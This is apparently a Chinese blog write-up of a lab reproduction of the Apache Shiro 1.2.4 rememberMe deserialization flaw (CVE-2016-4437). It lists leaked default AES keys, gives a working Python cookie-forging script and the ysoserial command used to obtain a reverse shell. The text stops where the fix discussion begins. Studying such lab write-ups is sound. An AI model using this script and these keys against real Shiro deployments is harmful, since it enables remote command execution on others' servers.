这次看的是一个java的安全框架shiro,也算是应用非常广泛,翻了翻有一堆CVE…

但是官方更新的也挺即时,所以CVE对应的版本也是有严苛限制的。本来想试试CVE-2023这些时间比较近的CVE,但是大多都是登陆绕过这些。于是我往前找到一个经典的CVE-2016-4437漏洞学习shiro反序列化RCE,而且这个shiro可以打图形化也可以用ysoserial打二次反序列化,挺有研究价值的。看完这个我再逐步往后推进。

 

还是用vulhub搭的一个靶机Apache Shiro 1.2.4:

Shiro rememberMe反序列化漏洞(Shiro-550)

Shiro550 反序列化漏洞原理

  • Remenberme的功能开启之后,会有Cookie 数据,Cookie 数据其实就是加密后的经过序列化的用户对象,也就是二进制字节流。

  • 加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。

漏洞描述

Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

Apache Shiro <= 1.2.4

漏洞特征

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

一些可替换的密钥:

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==

漏洞分析

Apache Shiro如何记住我?

序列化用户身份对象.(这里为SimplePrincipalCollection)
对序列化后的数据进行AES加密,密钥为常量.
base64编码
设置到cookie中,cookie name等于rememberMe.

Apache Shiro如何解析我?

读取cookie中的rememberMe的值.
对其值进行base64解码.
AES解密
反序列化

如何攻击?

通过以上,我们可以看出,只要手动构造一个反序列化 payload,进行AES加密(密钥我们知道的)和base64编码,即可在反序列化时执行任何操作.

整体流程就是:命令 => 序列化 =>AES加密 => base64编码 => RememberMe Cookie值 => base64解密 => AES解密 => 反序列化 => 执行命令

 

在此,我们先打一次,然后去源码审计一下知其然知其所以然。

复现开始

上py脚本:

import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme()    
    print("rememberMe={0}".format(payload.decode()))

配合ysoserial这个超级java反序列化工具使用CommonsBeanutils1打反弹shell(不出网时touch写文件也可):

java -jar ysoserial-all.jar CommonsBeanutils1 "RCE" > poc.ser

此处用base64反弹shell,因为直接bash反弹有重定向和管道字符的使用方式在启动过程中的上下文没有意义的问题。

记得jar文件和python的poc文件要在同一文件夹下,不然就要注意一下文件位置问题。

账号密码随便输,勾选Remember me,bp抓包:

因为Response处有Set-cookie: rememberMe=deleteMe,初步判定可打shiro反序列化:

但是还有一点,java版本太高也打不了,此处我就是开始没注意JDK版本直接打然后报错:

这里需要换JDK8来打,本机干脆装了一个Java8:

配环境变量啥的也很简单,就不写了,网上一堆。

直接开打:(记得把原有Cookie删了,原因看下面的源码分析链接:

反弹shell成功。

 

参考:[Vulhub] Apache Shiro 反序列化漏洞(shiro-550,shiro-721)_shiro-721 代码执行-CSDN博客

源码审计

先docker把这个jar包导出来:

IDEA反编译一下,首先是看到登陆页面的源码:

再到UserController这个验证接口的位置:

具体可看:Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)源码解析 – 知乎 (zhihu.com)

因为一些原因,后面没审计下去,但是能看懂这个审计思路,这个点就算掌握了。

 

最后提一嘴这个漏洞是怎么修复的: